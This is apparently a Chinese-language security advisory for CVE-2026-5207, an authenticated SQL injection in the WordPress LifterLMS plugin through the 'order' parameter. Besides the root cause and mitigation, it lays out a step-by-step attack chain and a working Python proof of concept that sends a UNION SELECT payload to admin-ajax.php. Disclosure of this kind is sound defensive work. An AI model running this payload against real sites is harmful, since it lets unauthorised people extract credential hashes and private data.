IPBUF安全漏洞报告
English
CVE-2026-5207 CVSS 6.5 中危

CVE-2026-5207 WordPress LifterLMS插件SQL注入漏洞

披露日期: 2026-04-11

漏洞信息

漏洞编号
CVE-2026-5207
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress LifterLMS插件

相关标签

SQL注入WordPressLifterLMSCVE-2026-5207认证后漏洞

漏洞概述

WordPress LifterLMS插件在9.2.1及以下版本中存在SQL注入漏洞。该漏洞源于对用户提供的'order'参数缺乏足够的转义和SQL查询准备。拥有讲师级别及以上权限且具备特定编辑能力的经过身份验证的攻击者,可以利用此漏洞拼接SQL语句,从数据库中提取敏感信息。

技术细节

该漏洞技术根源在于LifterLMS插件后台报表组件对用户输入处理的不严谨。具体而言,在文件`llms.table.quiz.non.attempts.php`及相关处理逻辑中,程序接收用户传递的`order`参数并直接用于构建SQL查询,未进行有效的转义处理。触发点位于`class.llms.ajax.handler.php`调用的接口中。虽然漏洞需要认证(讲师及以上权限),但由于WordPress默认角色的权限配置,获取此类账号往往不难。攻击者利用此漏洞,可以在原有SQL查询的基础上通过UNION查询或布尔盲注技术,追加恶意SQL指令。这使得攻击者能够绕过常规的权限检查,直接读取数据库中的敏感数据,如用户凭据哈希、私密课程内容或其他配置信息。

攻击链分析

STEP 1
侦察
识别目标网站是否安装了LifterLMS插件,并确认版本在9.2.1及以下。
STEP 2
获取权限
通过注册或社会工程学手段获取一个具有讲师级别权限的账号,确保该账号对特定测验具有编辑权限。
STEP 3
构造Payload
针对'order'参数构造恶意的SQL注入语句,旨在追加查询以提取敏感数据。
STEP 4
发送请求
向服务器发送包含恶意Payload的AJAX请求(通常指向admin-ajax.php)。
STEP 5
数据提取
解析服务器响应,获取泄露的数据库信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-5207 (SQL Injection in LifterLMS) # Requires authentication with Instructor-level access import requests target_url = "https://example.com/wp-admin/admin-ajax.php" # Replace with a valid cookie from an instructor account cookie = { "wordpress_logged_in_xxx": "..." } # Malicious payload for the 'order' parameter # Exploiting the SQL injection to extract database version payload = "1 UNION SELECT 1,2,3,version(),5,6,7,8,9-- -" data = { "action": "llms-table-non-attempts", "quiz_id": "1", "order": payload } response = requests.post(target_url, data=data, cookies=cookie) if response.status_code == 200: print("[+] SQL Injection successful!") print("Response:", response.text) else: print("[-] Failed to exploit")

影响范围

LifterLMS <= 9.2.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时限制讲师级别的用户访问后台报表功能,或者通过代码层面对'order'参数进行强制类型检查和白名单过滤,仅允许允许的排序字段(如ASC, DESC)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表